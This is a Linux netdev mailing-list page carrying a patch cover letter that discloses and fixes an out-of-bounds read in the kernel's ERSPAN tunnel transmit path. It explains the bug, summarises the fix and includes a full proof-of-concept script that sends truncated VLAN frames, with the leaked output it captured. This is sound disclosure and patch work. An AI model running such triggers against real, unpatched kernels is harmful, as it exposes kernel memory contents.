Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] net: erspan: avoid out-of-bounds reads on short non-IP frames
@ 2026-11-30  5:22 Ren Wei
  2026-11-30  5:22 ` [PATCH net 1/1] " Ren Wei
  0 siblings, 1 reply; 4+ messages in thread
From: Ren Wei @ 2026-11-30  5:22 UTC (permalink / raw)
  To: netdev
  Cc: davem, edumazet, kuba, pabeni, willemb, horms, dsahern, idosch,
	u9012063, mvohra, matthias.may, vega, sashiko-bot, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an out-of-bounds read bug in include/net/erspan.h
affecting ERSPAN header construction in net/ipv6/ip6_gre.c and
net/ipv4/ip_gre.c, together with a downstream VLAN protocol
reclassification mismatch in ip6_tnl_xmit() and ip_tunnel_xmit(). The
buggy transmit path is reachable by an unprivileged user inside a user
and network namespace (unshare -Urn).

This bug is tracked at: https://bugtracker.nebusec.ai/f/11933

Related mailing-list context:
Anton Danilov's earlier ip6_gre patchset (v4 message-id
20261004145205.226974-1-littlesmilingcloud@gmail.com, v6 message-id
20261008012554.202925-1-littlesmilingcloud@gmail.com) targeted
ip6gre_tunnel_xmit() VLAN length checks for syzkaller bug
6023ea32e206eef7920a and explicitly deferred the pre-existing
erspan_build_header() / erspan_build_header_v2() and downstream tunnel
issues to follow-up patches. Neither v6 nor a follow-up has been merged
into net.git. This patch addresses that independent follow-up without
superseding the ip6gre_tunnel_xmit() changes.

---- details below ----

Bug details:

1. ip6erspan_tunnel_xmit() and erspan_xmit() rely on
   pskb_inet_may_pull(), which requests zero network-layer bytes for
   non-IP and ETH_P_8021Q/ETH_P_8021AD protocols. Short non-IP or
   truncated VLAN frames therefore pass entry validation and enter
   erspan_build_header() or erspan_build_header_v2().

2. Both ERSPAN header helpers unconditionally read IPv4 tos or IPv6
   traffic-class bytes using the outer tunnel address family flag
   (is_ipv4), and dereference eth->h_proto and (skb->data + 2 * ETH_ALEN)
   without checking frame length or linear headlen. On a 14-byte non-IP
   or 802.1Q frame, those reads access missing bytes past skb->len in
   skb tailroom and encode them into the ERSPAN COS and VLAN fields.

3. Downstream ip6_tnl_xmit(), ip_tunnel_xmit(), and
   ip_tunnel_get_dsfield() call skb_protocol(skb, true) after GRE and
   ERSPAN headers have been pushed. Because skb_protocol(skb, true)
   walks VLAN tags from skb->data rather than skb_mac_header(skb), it
   reads pushed GRE/ERSPAN and inner MAC bytes and can reclassify a
   short non-IP VLAN frame as ETH_P_IP or ETH_P_IPV6, reading unpulled
   bytes past skb->len.

Fix summary:

- Add erspan_xmit_prepare() in include/net/erspan.h and use it at entry
  of ip6erspan_tunnel_xmit() and erspan_xmit() to ensure ETH_HLEN bytes
  are linear, walk VLAN tags from ETH_HLEN with skb->mac_len cleared,
  reject truncated VLAN tags, and pull any inner IPv4/IPv6 base header.
- Add erspan_get_tos() and erspan_get_vlan_tci() using
  skb_header_pointer() so ERSPAN header construction safely handles
  non-IP, VLAN-tagged, and non-linear skbs, and drop the obsolete
  is_ipv4 parameter from both helpers and their callers.
- Add ip_tunnel_payload_protocol() in include/net/ip_tunnels.h using
  skb_mac_offset(skb) for ARPHRD_ETHER devices and use it in
  ip6_tnl_xmit(), ip_tunnel_xmit(), and ip_tunnel_get_dsfield(), while
  guarding ip6_tnl_xmit() hop-limit inheritance with
  skb_header_pointer().

Testing & Validation:

Validated on an x86_64 QEMU guest (2 vCPUs, 2 GB RAM, KASAN=y,
slub_debug=P) with CONFIG_IPV6_GRE=y, CONFIG_NET_IPGRE=y, and
CONFIG_VLAN_8021Q=y:

1. Pre-fix reproduction (./poc.sh root):
   - 16-byte control frame (0x8100 + abcd):
     erspan_hdr=1bcdb87b00000007 vlan=0xbcd cos=5 encap=3
     (the 0xab byte of the VLAN TCI was wrongly read as IPv6 tclass)
   - 14-byte trigger frame (0x8100, missing TCI):
     erspan_hdr=1000187b00000007 vlan=0x000 cos=0 encap=3
     (encap=3 set and bytes 14-15 sampled past skb->len)

2. Post-fix verification (./poc.sh userns + 27-case suite + ping):
   - All 10 truncated VLAN / truncated VLAN-IP cases (14/16-byte
     0x8100, 18/24-byte 0x8100+IPv4/IPv6 across ip6erspan v1/v2/
     collect_md and IPv4 erspan v1/v2) are dropped cleanly.
   - Valid 14-byte untagged ARP frames and 18-byte VLAN non-IP frames
     with 08:00/86:dd destination MACs are NOT misclassified as IP under
     hoplimit 0 / ttl inherit / tos inherit (outer TTL stays 64, cos=0).
   - Valid untagged and VLAN-tagged IPv4/IPv6 frames preserve VLAN TCI,
     inner DSCP->COS, and TTL/hop-limit across both ip6erspan and
     erspan.
   - End-to-end ping over ip6erspan and erspan passed, with zero
     KASAN/UBSAN/BUG/WARNING messages in dmesg.

Reproducer:

    bash ./poc.sh root
    bash ./poc.sh userns

=== BEGIN poc.sh ===
#!/bin/bash
set -euo pipefail

mode="${1:-root}"

cleanup_root() {
    ip netns del ns1 2>/dev/null || true
    ip netns del ns2 2>/dev/null || true
}

run_root() {
    trap cleanup_root EXIT

    cleanup_root

    ip netns add ns1
    ip netns add ns2
    ip link add v0 type veth peer name v1
    ip link set v0 netns ns1
    ip link set v1 netns ns2

    ip -n ns1 link set lo up
    ip -n ns2 link set lo up
    ip -n ns1 addr add fc00::1/64 dev v0 nodad
    ip -n ns2 addr add fc00::2/64 dev v1 nodad
    ip -n ns1 link set v0 up
    ip -n ns2 link set v1 up
    ip netns exec ns1 ping -6 -c 1 -w 1 fc00::2 >/dev/null

    ip -n ns1 link add ers0 type ip6erspan \
        local fc00::1 remote fc00::2 dev v0 \
        key 123 seq erspan_ver 1 erspan 7
    ip -n ns1 link set ers0 up

    ip netns exec ns2 python3 - <<'PY' >/tmp/ip6erspan_capture.txt &
import binascii
import ipaddress
import socket

ETH_LEN = 14
IP6_LEN = 40
GRE_LEN = 8
ERSPAN_OFF = ETH_LEN + IP6_LEN + GRE_LEN
TARGET_DST = ipaddress.IPv6Address("fc00::2").packed


def parse(frame):
    b0, b1, b2, b3 = frame[ERSPAN_OFF:ERSPAN_OFF + 4]
    vlan = ((b0 & 0x0F) << 8) | b1
    cos = b2 >> 5
    en = (b2 >> 3) & 0x3
    session = ((b2 & 0x3) << 8) | b3
    inner = frame[ERSPAN_OFF + 8:]
    return {
        "erspan_hdr": frame[ERSPAN_OFF:ERSPAN_OFF + 8].hex(),
        "vlan": vlan,
        "cos": cos,
        "encap": en,
        "session": session,
        "inner_len": len(inner),
        "inner_hex": inner.hex(),
    }


s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x86DD))
s.bind(("v1", 0x86DD))

for label in ("control", "trigger"):
    while True:
        frame = s.recv(2048)
        if len(frame) < ETH_LEN + IP6_LEN:
            continue
        if frame[ETH_LEN + 6] != 47:
            continue
        if frame[ETH_LEN + 24:ETH_LEN + 40] != TARGET_DST:
            continue
        break
    parsed = parse(frame)
    print(f"{label}: outer_len={len(frame)} inner_len={parsed['inner_len']}")
    print(
        f"{label}: erspan_hdr={parsed['erspan_hdr']} "
        f"vlan=0x{parsed['vlan']:03x} cos={parsed['cos']} "
        f"encap={parsed['encap']} session={parsed['session']}"
    )
    print(f"{label}: inner_hex={parsed['inner_hex']}")
    print(f"{label}: outer_hex={binascii.hexlify(frame).decode()}")
PY
    cap_pid=$!
    sleep 1

    ip netns exec ns1 python3 - <<'PY'
import socket

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("ers0", 0))
s.send(bytes.fromhex("aabbccddeeff0011223344558100abcd"))
s.send(bytes.fromhex("aabbccddeeff0011223344558100"))
PY

    wait "$cap_pid"

    echo "[root] captured packets"
    cat /tmp/ip6erspan_capture.txt
}

run_userns_inner() {
    ip link add v0 type veth peer name v1
    ip addr add fc00::1/64 dev v0 nodad
    ip addr add fc00::2/64 dev v1 nodad
    ip link set lo up
    ip link set v0 up
    ip link set v1 up

    ip link add ers0 type ip6erspan \
        local fc00::1 remote fc00::2 dev v0 \
        key 123 seq erspan_ver 1 erspan 7
    ip link set ers0 up

    python3 - <<'PY'
import errno
import socket

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind(("ers0", 0))
frame = bytes.fromhex("aabbccddeeff0011223344558100")
try:
    sent = s.send(frame)
    print(f"[userns] send() returned {sent}")
except OSError as exc:
    print(f"[userns] send() failed errno={exc.errno} ({exc.strerror})")
PY

    echo "[userns] ers0 stats after send"
    ip -s link show ers0
}

run_userns() {
    if [ "$(id -u)" -eq 0 ] && [ -z "${POC_UNSHARED:-}" ]; then
        POC_UNSHARED=1 unshare -Urn -- "$0" __userns_inner
    else
        POC_UNSHARED=1 unshare -Urn -- "$0" __userns_inner
    fi
}

case "$mode" in
    root)
        run_root
        ;;
    userns)
        run_userns
        ;;
    __userns_inner)
        run_userns_inner
        ;;
    *)
        echo "usage: $0 [root|userns]" >&2
        exit 1
        ;;
esac
=== END poc.sh ===

=== BEGIN observed unpatched log ===
[root] captured packets
control: outer_len=86 inner_len=16
control: erspan_hdr=1bcdb87b00000007 vlan=0xbcd cos=5 encap=3 session=123
control: inner_hex=aabbccddeeff0011223344558100abcd
control: outer_hex=0686080116b896c7774b157886dd6002902c00202f40fc000000000000000000000000000001fc000000000000000000000000000002100088be000000031bcdb87b00000007aabbccddeeff0011223344558100abcd
trigger: outer_len=84 inner_len=14
trigger: erspan_hdr=1000187b00000007 vlan=0x000 cos=0 encap=3 session=123
trigger: inner_hex=aabbccddeeff0011223344558100
trigger: outer_hex=0686080116b896c7774b157886dd6002902c001e2f40fc000000000000000000000000000001fc000000000000000000000000000002100088be000000041000187b00000007aabbccddeeff0011223344558100

Note: The out-of-bounds read stays inside the allocated skb head /
skb_shared_info area, so KASAN does not report a slab-out-of-bounds
panic.
=== END observed unpatched log ===

Best regards,
Luxiao Xu

Luxiao Xu (1):
  net: erspan: avoid out-of-bounds reads on short non-IP frames

 include/net/erspan.h     | 119 +++++++++++++++++++++++++++++----------
 include/net/ip_tunnels.h |  13 ++++-
 net/ipv4/ip_gre.c        |  15 ++---
 net/ipv4/ip_tunnel.c     |   2 +-
 net/ipv6/ip6_gre.c       |  13 ++---
 net/ipv6/ip6_tunnel.c    |  24 +++++---
 6 files changed, 130 insertions(+), 56 deletions(-)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-11-30 10:56 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-30  5:22 [PATCH net 0/1] net: erspan: avoid out-of-bounds reads on short non-IP frames Ren Wei
2026-11-30  5:22 ` [PATCH net 1/1] " Ren Wei
2026-11-30  9:50   ` kernel test robot
2026-11-30 10:55   ` kernel test robot

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox